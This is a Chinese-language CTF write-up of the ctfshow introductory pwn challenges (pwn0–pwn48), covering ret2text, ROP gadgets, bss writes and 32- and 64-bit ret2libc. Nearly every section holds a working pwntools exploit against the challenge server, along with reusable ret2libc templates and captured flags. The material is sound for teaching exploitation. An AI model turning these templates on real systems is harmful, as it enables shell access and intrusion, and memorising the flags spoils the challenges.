Test_your_nc
pwn0
本题是PWN入门 系列题目的第0个题目,让大家提前感受下pwn的学习气氛
在根目录下得到flag
pwn1
提供一个后门函数,连上即可得到flag
nc连接得到flag
pwn2
给你一个shell,这次需要你自己去获得flag
输入cat /ctfshow_flag获取flag
pwn3
哪一个函数才能读取flag?
考察函数的应用
You can call the following function:
1._start
2.main
3.hello_ctfshow
4.ctfshow('echo /ctfshow_flag')
5.print('/ctfshow_flag')
6.system('cat /ctfshow_flag')
7.puts('/ctfshow_flag')
8.exit
Your choice is :
选择system函数的6得到flag
pwn4
或许需要先得到某个神秘字符
分析代码,将输入的s2与s1进行比对,如果一样则获得权限
strcpy(s1, "CTFshowPWN");
logo();
puts("find the secret !");
__isoc99_scanf("%s", s2);
if ( !strcmp(s1, s2) )
execve_func();
静态分析得到s1的值,输入获得权限
栈溢出
pwn35
正式开始栈溢出了,先来一个最最最最简单的吧
检查保护情况,只开了代码执行保护
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
查看主函数,首先这是一段对参数的检测(至少一个参数)。对argc解释一下,argc是我们启动函数时输入的参数的数量加1,因为程序默认有argc=1,且第一个参数为程序的名称即argv[0],此后我们输入的参数就为argv[1]。
if ( argc <= 1 )
{
puts("Try again!");
}
当参数满足条件时,则会调用ctfshow这个函数,这个函数中strcpy将src的值赋给dest,但是未检测src的长度,造成此处的栈溢出漏洞
char *__cdecl ctfshow(char *src)
{
char dest[104]; // [esp+Ch] [ebp-6Ch] BYREF
return strcpy(dest, src);
}
在主函数中我们可以看到以下内容,stream内的内容存储在flag指针中
fgets(flag, 64, stream);
通过定位flag,我们可以发现sigsegv_handler( )函数中的内容,我们需要利用栈溢出将返回地址修改到此函数中,使得其能输出flag
void __noreturn sigsegv_handler()
{
fprintf(stderr, "%s\n", flag);
fflush(stderr);
exit(1);
}
但是与一般的题型有些不同的是,这一题是用ssh连接。所以我们写一个exp来生成payload
from pwn import*
bin_sh_add=0x80485E6
payload=b'a'*(104+8)+p32(bin_sh_add)
print(payload)
# aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xe6\x85\x04\x08
得到flag
pwn36
存在后门函数,如何利用?
检查保护情况,一个都没开
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x8048000)
Stack: Executable
RWX: Has RWX segments
查看主函数,发现后门函数get_flag。主函数调用了ctfshow( ) 函数,发现危险函数get( ),可进行栈溢出
char *ctfshow()
{
char s[36]; // [esp+0h] [ebp-28h] BYREF
return gets(s);
}
思路为通过get( )进行栈溢出将返回地址更改为后门函数地址,开始编写exp
from pwn import*
io=remote("pwn.challenge.ctf.show",28266)
bin_sh_add=0x8048586
payload=b'a'*(36+8)+p64(bin_sh_add)
io.sendlineafter(b'Enter what you want:',payload)
io.interactive()
# ctfshow{793cda4e-b6e8-4ceb-a441-95bc1b2dfc32}
pwn37
32位的 system(“/bin/sh”) 后门函数给你
检查保护情况,只开了代码执行保护
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
查看主函数,发现后门函数backdoor( ) 。查看主函数,先打印logo后调用ctfshow( )
int __cdecl main(int argc, const char **argv, const char **envp)
{
init(&argc);
logo();
puts("Just very easy ret2text&&32bit");
ctfshow();
puts("\nExit");
return 0;
}
ctfshow( )函数中返回时调用read函数从标准输入读取数据存放至buf缓冲区,但是读取长度大小超过了buf缓冲区的大小,造成了栈溢出。
ssize_t ctfshow()
{
char buf[14]; // [esp+6h] [ebp-12h] BYREF
return read(0, buf, 0x32u);
}
解题思路为通过栈溢出漏洞将返回地址更改为后门函数地址,编写exp(注意这里是32位程序)
from pwn import*
io=remote("pwn.challenge.ctf.show",28311)
bin_sh_add=0x8048521
payload=b'a'*(14+8)+p32(bin_sh_add)
io.sendlineafter(b"ret2text&&32bit",payload)
io.interactive()
# ctfshow{fa2e0559-383e-4a90-bd2c-0e7beff31a4e}
pwn38
64位的 system(“/bin/sh”) 后门函数给你
检查保护情况,发现只开了代码执行保护
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
查看主函数,发现后门函数backdoor( ) 。主函数中调用了ctfshow( )函数,和pwn37同理,read函数过量读导致栈溢出。
ssize_t ctfshow()
{
char buf[10]; // [rsp+6h] [rbp-Ah] BYREF
return read(0, buf, 0x32uLL);
}
解题思路为通过栈溢出漏洞将返回地址更改为后门函数地址,编写exp(注意这里是64位程序)。
from pwn import*
io=remote("pwn.challenge.ctf.show",28289)
bin_sh_add=0x400658
payload=b'a'*(10+8)+p64(bin_sh_add)
io.sendlineafter(b"ret2text&&64bit",payload)
io.interactive()
# ctfshow{ed4ab5e2-96b3-47b4-99d8-bfe8b021e2f5}
这里需要注意的是为了进行栈对齐, bin_sh_add 的地址我们选择的是 0x400658 (push指令后的第一个地址),而不是后门函数的地址 0x400657 。
pwn39
32位的 system(); "/bin/sh"
检查保护,只开了代码执行保护
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
查看主函数,发现调用ctfshow( )函数,函数中read过量读存在栈溢出漏洞
ssize_t ctfshow()
{
char buf[14]; // [esp+6h] [ebp-12h] BYREF
return read(0, buf, 0x32u);
}
观察其他部分发现hint( )函数中存在system函数以及“/bin/sh”的字符串
int hint()
{
puts("/bin/sh");
return system("echo 'You find me?'");
}
解题思路为利用这两处来构造出system(“/bin/sh”)来获取shell
获得溢出长度
在GDB中用 cyclic 200
获得200个冗余字符
pwndbg> cyclic 200
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
在使用r启动程序,将冗余字符填入程序,程序报错会返回一个地址
Invalid address 0x61676161
再使用 cyclic -l
命令即可获得溢出长度。
pwndbg> cyclic -l 0x61676161
Finding cyclic pattern of 4 bytes: b'aaga' (hex: 0x61616761)
Found at offset 22
也可以结合栈空间大小进行计算
寻找函数的地址
使用objdump命令来获取plt表中各个函数的地址,进而轻松拿到system函数的地址。
objdump -d -j .plt pwn
pwn: file format elf32-i386
Disassembly of section .plt:
08048370 <.plt>:
8048370: ff 35 04 a0 04 08 push 0x804a004
8048376: ff 25 08 a0 04 08 jmp *0x804a008
804837c: 00 00 add %al,(%eax)
...
08048380 <read@plt>:
8048380: ff 25 0c a0 04 08 jmp *0x804a00c
8048386: 68 00 00 00 00 push $0x0
804838b: e9 e0 ff ff ff jmp 8048370 <.plt>
08048390 <puts@plt>:
8048390: ff 25 10 a0 04 08 jmp *0x804a010
8048396: 68 08 00 00 00 push $0x8
804839b: e9 d0 ff ff ff jmp 8048370 <.plt>
080483a0 <system@plt>:
80483a0: ff 25 14 a0 04 08 jmp *0x804a014
80483a6: 68 10 00 00 00 push $0x10
80483ab: e9 c0 ff ff ff jmp 8048370 <.plt>
080483b0 <__libc_start_main@plt>:
80483b0: ff 25 18 a0 04 08 jmp *0x804a018
80483b6: 68 18 00 00 00 push $0x18
80483bb: e9 b0 ff ff ff jmp 8048370 <.plt>
080483c0 <setvbuf@plt>:
80483c0: ff 25 1c a0 04 08 jmp *0x804a01c
80483c6: 68 20 00 00 00 push $0x20
80483cb: e9 a0 ff ff ff jmp 8048370 <.plt>
也可以直接在IDA中查看
编写exp
from pwn import*
context.log_level = "debug"
io=remote("pwn.challenge.ctf.show",28203)
bin_sh_add=0x8048750
system_plt=0x80483A0
call_system=0x804854F
# payload=b'a'*(14+8)+p32(system_plt)+p32(0)+p32(bin_sh_add)
payload=b'a'*(14+8)+p32(call_system)+p32(bin_sh_add)
io.sendlineafter(b"ret2text&&32bit",payload)
io.interactive()
# ctfshow{9d0d7f71-d700-4ea6-ba26-7255bc726832}
这里有两种思路 :
第一种是返回到 system@plt
。
第二种是调用 call system
指令,该指令后面可以直接跟参数。
pwn40
64位的 system(); "/bin/sh"
检查保护情况,只开了代码执行保护
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
查看主函数,大致情况与pwn39一样,不同点在于此题为64位程序。
32位是栈传参,而64位是寄存器传参+栈传参,传的前几个参数一般使用寄存器,把参数传到寄存器中即可,若参数过多寄存器有限,64位汇编会继续使用栈传参。
具体64位传参方式如下:
当参数少于7个时, 参数 ==从左到右== 放⼊寄存器:
==rdi --> rsi --> rdx --> rcx --> r8 --> r9==
当参数为7个及以上时, 前 6 个与前⾯⼀样, 但后⾯的依次 ==从右向左== 放⼊栈中,和32位汇编⼀样。
获取寄存器地址
由于需要传参所以我们还需要将参数pop到rdi中,使用ret再继续取栈中我们填入的恶意地址继续控制程序的执行流。(ret的作用为:pop eip/rip;)
使用ROPgadget可以查询到 pop rdi;ret
的地址
ROPgadget --binary pwn --only "pop|ret"
Gadgets information
============================================================
0x00000000004007dc : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004007de : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004007e0 : pop r14 ; pop r15 ; ret
0x00000000004007e2 : pop r15 ; ret
0x00000000004007db : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004007df : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004005b8 : pop rbp ; ret
0x00000000004007e3 : pop rdi ; ret
0x00000000004007e1 : pop rsi ; pop r15 ; ret
0x00000000004007dd : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004004fe : ret
0x000000000040069a : ret 0x2019
Unique gadgets found: 12
这里我们还需要记录ret的地址,因为在栈对齐的过程中需要用到。ret是为了64位的堆栈平衡,具体堆栈平衡的知识可以看一下两篇文章:
关于ubuntu18版本以上调用64位程序中的system函数的栈对齐问题 - ZikH26
关于pwn64位amd构造payload时的堆栈平衡问题以及32位与64位构造payload的区别与注意事项
堆栈平衡
64位ubuntu18以上系统调用system函数时是需要栈对齐,为使rsp对齐16字节,核心思想就是增加或减少栈内容,使rsp地址能相应的增加或减少8字节,这样就能够对齐16字节了。
这时候有两种解决方法。
1、将system函数地址+1,此处的+1,即是把地址+1,也可以理解为+1是为了跳过一条栈操作指令。我们的目的是跳过一条栈操作指令,使rsp十六字节对齐,跳过这一条指令,自然就是把8变成0了。但又一个问题就是,本来+1是为了跳过一条栈操作指令,但是你也不知道下一条指令是不是栈操作指令,如果不是栈操作指令的话(可能正好是mov指令,也有可能一个指令是好几个字节,+1之后没有到下一个指令),就还需要继续+1,一直加到遇见一条栈操作指令为止。
2、调用system函数地址之前去调用一个ret指令。因为本来现在是没有对齐的,但是执行一条对栈操作指令(ret指令等同于pop rip,该指令使得rsp+8,从而完成rsp16字节对齐),这样system地址所在的栈地址就是0结尾,从而完成了栈对齐。
其他查询步骤大致与pwn39相同,开始编写exp
from pwn import*
context.log_level="debug"
io=remote("pwn.challenge.ctf.show",28196)
pop_rdi_ret=0x4007e3
ret_add=0x4004fe
system_plt=0x400520
bin_sh_add=0x400808
payload=b'a'*(10+8)+p64(pop_rdi_ret)+p64(bin_sh_add)+p64(ret_add)+p64(system_plt)
io.sendlineafter(b"ret2text&&64bit",payload)
io.interactive()
# ctfshow{491ac978-70d2-4ae2-b459-828942682834}
pwn41
32位的 system(); 但是没"/bin/sh" ,好像有其他的可以替代
检查保护情况
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
查看关键函数
ssize_t ctfshow()
{
char buf[14]; // [esp+6h] [ebp-12h] BYREF
return read(0, buf, 0x32u);
}
int useful()
{
return printf("sh");
}
int hint()
{
system("echo flag");
return 0;
}
可以发现useful函数中有 sh
,hint 函数中有 system
函数。利用这两个地方拼凑出 system("sh")
,需要注意的是 ebp
本身所占栈单元为4个字节,所以只需要在offset后加4。编写exp
from pwn import*
context.log_level = "debug"
io=remote("pwn.challenge.ctf.show",28170)
offset=0x12
sh_add=0x080487BA
plt_system_add=0x080483D0
payload= b'a'*( offset + 4 ) + p32(plt_system_add) + p32(0) + p32(sh_add)
io.sendline(payload)
io.interactive()
# ctfshow{24104628-dee1-428e-b653-632206746269}
pwn42
64位的 system(); 但是没"/bin/sh" ,好像有其他的可以替代
检查保护情况
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
思路与pwn41大致相同,不同的是本题是64位程序,需要先将参数传给寄存器。这里还需要注意,在调用system前需要先进行栈对齐
from pwn import*
context.log_level = "debug"
io=remote("pwn.challenge.ctf.show",28312)
offset=0x0A
sh_add=0x400872
plt_system_add=0x400560
pop_rdi_add=0x400843
ret_add=0x40053e
payload= b'a'*( offset + 8 ) + p64(pop_rdi_add) + p64(sh_add) + p64(ret_add) + p64(plt_system_add)
io.sendline(payload)
io.interactive()
# ctfshow{d6a84154-8a11-435d-aa3e-f4603702996a}
pwn43
32位的 system(); 但是好像没"/bin/sh" 上面的办法不行了,想想办法
检查保护
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
查看关键函数,这里存在危险函数 gets( )
,
char *ctfshow()
{
char s[104]; // [esp+Ch] [ebp-6Ch] BYREF
return gets(s);
}
在 hint( )
函数中,存在 system()
但是没有 /bin/sh
int hint()
{
unsigned int v0; // eax
int result; // eax
int v2; // [esp+8h] [ebp-10h] BYREF
int v3; // [esp+Ch] [ebp-Ch]
v0 = time(0);
srand(v0);
v3 = rand();
__isoc99_scanf("%d", &v2);
result = v2;
if ( v3 == v2 )
return system("where is shell?");
return result;
}
这里我们需要一个空间自己写 /bin/sh
,首先我们需要使用 gdb
内的 vmmap
查看每个内存段的权限信息
可以看到在 0x804b000
到 0x804c000
有 w
(写)权限,在这段地址范围上找到了一个 buf2
变量,我们可以利用这个缓冲区指针来存储输入的数据 ( /bin/sh
)。所以,目前的解题思路为,先通过 gets()
处栈溢出更改范围地址到新的 get()
函数,其参数为写入数据的地址。调用 system()
,将 buf2
的地址作为参数填入。gets()
未接收数据接收数据时为闭塞状态,这时再写入 /bin/sh
。
payload部分过程如下:
from pwn import *
context.log_level = 'debug'
io = remote('pwn.challenge.ctf.show', 28292)
offset = 0x6C
system_add = 0x8048450
buf2_add = 0x804B060
gets_add = 0x8048420
payload = b'a'*(offset +4) + p32(gets_add) + p32(system_add) + p32(buf2_add) + p32(buf2_add)
io.sendline(payload)
io.sendline("/bin/sh")
io.interactive()
# ctfshow{a63a1777-ae96-4d5a-8a00-5cf2098b259a}
pwn44
64位的 system(); 但是好像没"/bin/sh" 上面的办法不行了,想想办法
检查保护,只开启了代码执行保护
在 ctfshow
函数中发现栈溢出
__int64 ctfshow()
{
char v1[10]; // [rsp+6h] [rbp-Ah] BYREF
return gets(v1);
}
在 hint
函数中发现 system
int hint()
{
return system("no shell for you");
}
未能发现现成的 /bin/sh
,这里我首先想到的是利用 puts
来进行 ret2libc
64ret2libc
ret2libc的目的是劫持binary执行system('/bin/sh')
。一般要借助溢出点进行两次劫持。
第一次劫持是为了泄露出某个函数地址,第二次劫持是为了控制binary返回到libc中执行system('/bin/sh')
。
第一次劫持需要构造两个条件:
- 控制binary,为第二次劫持布局。
- 寻找output函数和待泄露函数。
函数的真正地址计算公式如下:
==函数的真正地址 = Libc的基地址 + 偏移地址==
from pwn import *
from LibcSearcher import *
io = remote('',)
# io=process("")
elf = ELF('')
# libc= ELF(elf.libc.path)
ret_add =
pop_rdi =
main_add =
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
print("Puts_got: ",hex(puts_got))
print("Puts_plt: ",hex(puts_plt))
offset=
payload1 = b'a' * (offset+8) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_add)
io.sendlineafter(b'', payload1)
puts_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print("Puts_addr: ",hex(puts_addr))
libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_add = libc_base + libc.dump('system')
bin_sh_add = libc_base + libc.dump('str_bin_sh')
# libc_base = puts_addr - libc.symbols['puts']
# system_add = libc_base + libc.symbols['system']
# bin_sh_add = libc_base + next(libc.search(b'/bin/sh'))
payload2 = b'a' * (offset+8) + p64(ret_add) + p64(pop_rdi) + p64(bin_sh_add) + p64(system_add)
io.sendlineafter(b'', payload2)
io.interactive()
查找相关寄存器地址,但是当我构造好exp后,发现了一个致命的问题,不知道为什么无法泄露出put函数的地址。这里便回去看了下pwn43,发现是在可写的bss段写入 /bin/sh
。
先在gdb中用vmmap查看内存段的权限信息,发现在0x602000到0x603000区段有可写权限
在这个地址范围内找到了一个 buf2 参数,确定了写入位置
大致思路是通过gets函数将 /bin/sh 写入 buf2 ,再调用system
from pwn import*
context(log_level = 'debug', arch = 'i386', os = 'linux')
# io=process("pwn")
io= remote("pwn.challenge.ctf.show",28177)
pop_rdi_ret = 0x00000000004007f3
buf2_add = 0x0000000000602080
gets_add = 0x0000000000400530
ret_add = 0x00000000004004fe
system_add = 0x0000000000400520
offset=0xA
payload = b'a'*(offset+8) + p64(pop_rdi_ret) + p64(buf2_add) + p64(ret_add) + p64(gets_add) + p64(pop_rdi_ret) + p64(buf2_add) + p64(ret_add) + p64(system_add)
io.recv()
io.sendline(payload)
io.sendline('/bin/sh')
io.interactive()
# ctfshow{aa2873eb-a787-4c6d-9b54-fd2837543fd2}
好像是可以打ret2libc的,来研究下为什么写的脚本出错了,这里要用到附加调试
附加调试
使用 gdb.attach 前需要对应的配置,未开启PIE和开启PIE有些许差别
gdb.attach(io,"b *0x40071D")
# gdb.attach(io,"b *$rebase(0x9B1)")
pause()
这样便可以进行附加调试了,这里要注意的是断点要下在有输入的地方后面断点
也可以用 gdb.debug( )进行调试
io=gdb.debug("pwn","b main")
# gdb.debug("pwn","b *0x40072C")
虽然远程打通了但是未能找到本地不能打通这个问题的根源,摸索途中想到的一些东西得明天才能下定论
from pwn import *
from LibcSearcher import *
# io = remote('pwn.challenge.ctf.show',28179)
io = process("./pwn")
# gdb.debug("pwn","b main")
# gdb.debug("pwn","b *0x40072C")
elf = ELF('./pwn')
# libc= ELF('libc.so.6')
# gdb.attach(io,"b *0x400736")
# pause()
ret_add = 0x00000000004004fe
pop_rdi = 0x00000000004007f3
main_add = 0x000000000040071D
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
gets_got = elf.got['gets']
print("Puts_got: ",hex(puts_got))
print("Puts_plt: ",hex(puts_plt))
offset=0x0A
payload1 = b'a' * (offset+8) + p64(pop_rdi) + p64(gets_got) + p64(puts_plt) + p64(main_add)
io.sendline(payload1)
puts_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print("Put_addr: ",hex(puts_addr))
libc = LibcSearcher('puts',puts_addr) # libc6_2.35-0ubuntu3.8_amd64
libc_base = puts_addr - libc.dump('puts')
system_add = libc_base + libc.dump('system')
system_add = 0x0000000000400744
bin_sh_add = libc_base + libc.dump('str_bin_sh')
# # libc_base = puts_addr - libc.symbols['puts']
# # system_add = libc_base + libc.symbols['system']
# # bin_sh_add = libc_base + next(libc.search(b'/bin/sh'))
payload2 = b'a' * (offset+8)+ p64(pop_rdi) + p64(bin_sh_add) + p64(system_add)
io.sendline(payload2)
io.interactive()
pwn45
32位 无 system 无 "/bin/sh"
检查保护,只开了代码执行保护
检查程序,发现溢出点
ssize_t ctfshow()
{
char buf[103]; // [esp+Dh] [ebp-6Bh] BYREF
return read(0, buf, 0xC8u);
}
这里查询函数地址,可以看到put@plt的地址已知,这里可以打32位的ret2libc
32ret2libc
和64位的大差不大,主要区别在参数的传递和puts地址的接收上
from pwn import *
from LibcSearcher import *
io = remote('',)
# io = process("")
elf = ELF('')
# libc= ELF('libc.so.6')
main_add =
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
print("Puts_got: ",hex(puts_got))
print("Puts_plt: ",hex(puts_plt))
offset=
payload1 = b'a' * (offset+4) + p32(puts_plt) + p32(main_add) + p32(puts_got)
io.sendlineafter(b'', payload1)
puts_addr = u32(io.recvuntil(b'\xf7')[-4:])
print("Puts_addr: ",hex(puts_addr))
libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_add = libc_base + libc.dump('system')
bin_sh_add = libc_base + libc.dump('str_bin_sh')
# libc_base = puts_addr - libc.symbols['puts']
# system_add = libc_base + libc.symbols['system']
# bin_sh_add = libc_base + next(libc.search(b'/bin/sh'))
payload2 = b'a' * (offset+4) + p32(system_add) + p32(0) + p32(bin_sh_add)
io.sendlineafter(b'', payload2)
io.interactive()
查找相应地址以及参数填入
from pwn import *
from LibcSearcher import *
io = remote('pwn.challenge.ctf.show',28158)
# io = process("./pwn")
elf = ELF('./pwn')
# libc= ELF(elf.libc.path)
main_add = 0x0804866D
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
print("Puts_got: ",hex(puts_got))
print("Puts_plt: ",hex(puts_plt))
offset=0x6B
payload1 = b'a' * (offset+4) + p32(puts_plt) + p32(main_add) + p32(puts_got)
io.sendafter(b'O.o?', payload1)
puts_addr = u32(io.recvuntil(b'\xf7')[-4:])
print("Puts_addr: ",hex(puts_addr))
libc = LibcSearcher('puts',puts_addr) # libc6-i386_2.27-3ubuntu1_amd64
libc_base = puts_addr - libc.dump('puts')
system_add = libc_base + libc.dump('system')
bin_sh_add = libc_base + libc.dump('str_bin_sh')
# libc_base = puts_addr - libc.symbols['puts']
# system_add = libc_base + libc.symbols['system']
# bin_sh_add = libc_base + next(libc.search(b'/bin/sh'))
payload2 = b'a' * (offset+4) + p32(system_add) + p32(0) + p32(bin_sh_add)
io.sendafter(b'O.o?', payload2)
io.interactive()
本地要先加载对应的libc
ldd和patchelf命令
查看正确的的libc和ld对应的版本
ldd pwn
linux-gate.so.1 (0xf7f0e000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7cc9000)
/lib/ld-linux.so.2 (0xf7f10000)
修改libc
patchelf --replace-needed [原libc] [libc路径] [附件路径]
修改ld
patchelf --set-interpreter [ld路径] [附件路径]
或者可以直接不修改附件,直接在代码中加载对应的libc即可
libc= ELF(elf.libc.path)
这里推荐后者
pwn46
64位 无 system 无 "/bin/sh"
和上一题大差不差,是64位的ret2libc
from pwn import *
from LibcSearcher import *
io = remote('pwn.challenge.ctf.show',28236)
# io=process("./pwn")
elf = ELF('./pwn')
# libc= ELF(elf.libc.path)
ret_add = 0x00000000004004fe
pop_rdi = 0x0000000000400803
main_add = 0x000000000040073E
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
print("Puts_got: ",hex(puts_got))
print("Puts_plt: ",hex(puts_plt))
offset=0x70
payload1 = b'a' * (offset+8) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_add)
io.sendlineafter(b'O.o?', payload1)
puts_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print("Puts_addr: ",hex(puts_addr))
libc = LibcSearcher('puts',puts_addr) # libc6_2.27-0ubuntu2_amd64
libc_base = puts_addr - libc.dump('puts')
system_add = libc_base + libc.dump('system')
bin_sh_add = libc_base + libc.dump('str_bin_sh')
# libc_base = puts_addr - libc.symbols['puts']
# system_add = libc_base + libc.symbols['system']
# bin_sh_add = libc_base + next(libc.search(b'/bin/sh'))
payload2 = b'a' * (offset+8) + p64(ret_add) + p64(pop_rdi) + p64(bin_sh_add) + p64(system_add)
io.sendlineafter(b'O.o?', payload2)
io.interactive()
pwn47
ez ret2libc
检查保护,只开了代码执行保护,32位程序
观察主函数,几个函数和 /bin/sh 的地址都告诉了,直接进入到ret2libc的第二部分,puts是我们的老朋友了,也是第一个那就选puts来查找libc,一样的找到system的地址以及用他告诉的 /bin/sh 的地址即可获得权限。
这里要注意 puts 函数地址接收的代码编写,先接收到0x,再往后接收8位,以16进制存储,输出并进行比对检查。
io.recvuntil(b'puts: 0x')
puts_addr=int(io.recv(8),16)
print("Puts_addr: ",hex(puts_addr))
libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_add = libc_base + libc.dump('system')
bin_sh_add = libc_base + libc.dump('str_bin_sh')
# libc_base = puts_addr - libc.symbols['puts']
# system_add = libc_base + libc.symbols['system']
# bin_sh_add = libc_base + next(libc.search(b'/bin/sh'))
offset=0x9C
payload = b'a' * (offset+4) + p32(system_add) + p32(0) + p32(bin_sh_add)
io.sendlineafter(b'time:', payload)
pwn48
没有write了,试试用puts吧,更简单了呢
检查保护,同样也只开了代码执行保护,32位程序,最最最常规的ret2libc
main_add = 0x0804863D
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
print("Puts_got: ",hex(puts_got))
print("Puts_plt: ",hex(puts_plt))
offset=0x6B
payload1 = b'a' * (offset+4) + p32(puts_plt) + p32(main_add) + p32(puts_got)
io.sendlineafter(b'O.o?', payload1)
puts_addr = u32(io.recvuntil(b'\xf7')[-4:])
print("Puts_addr: ",hex(puts_addr))
libc = LibcSearcher('puts',puts_addr) # libc6-i386_2.27-3ubuntu1_amd64
libc_base = puts_addr - libc.dump('puts')
system_add = libc_base + libc.dump('system')
bin_sh_add = libc_base + libc.dump('str_bin_sh')
# libc_base = puts_addr - libc.symbols['puts']
# system_add = libc_base + libc.symbols['system']
# bin_sh_add = libc_base + next(libc.search(b'/bin/sh'))
payload2 = b'a' * (offset+4) + p32(system_add) + p32(0) + p32(bin_sh_add)
io.sendlineafter(b'O.o?', payload2)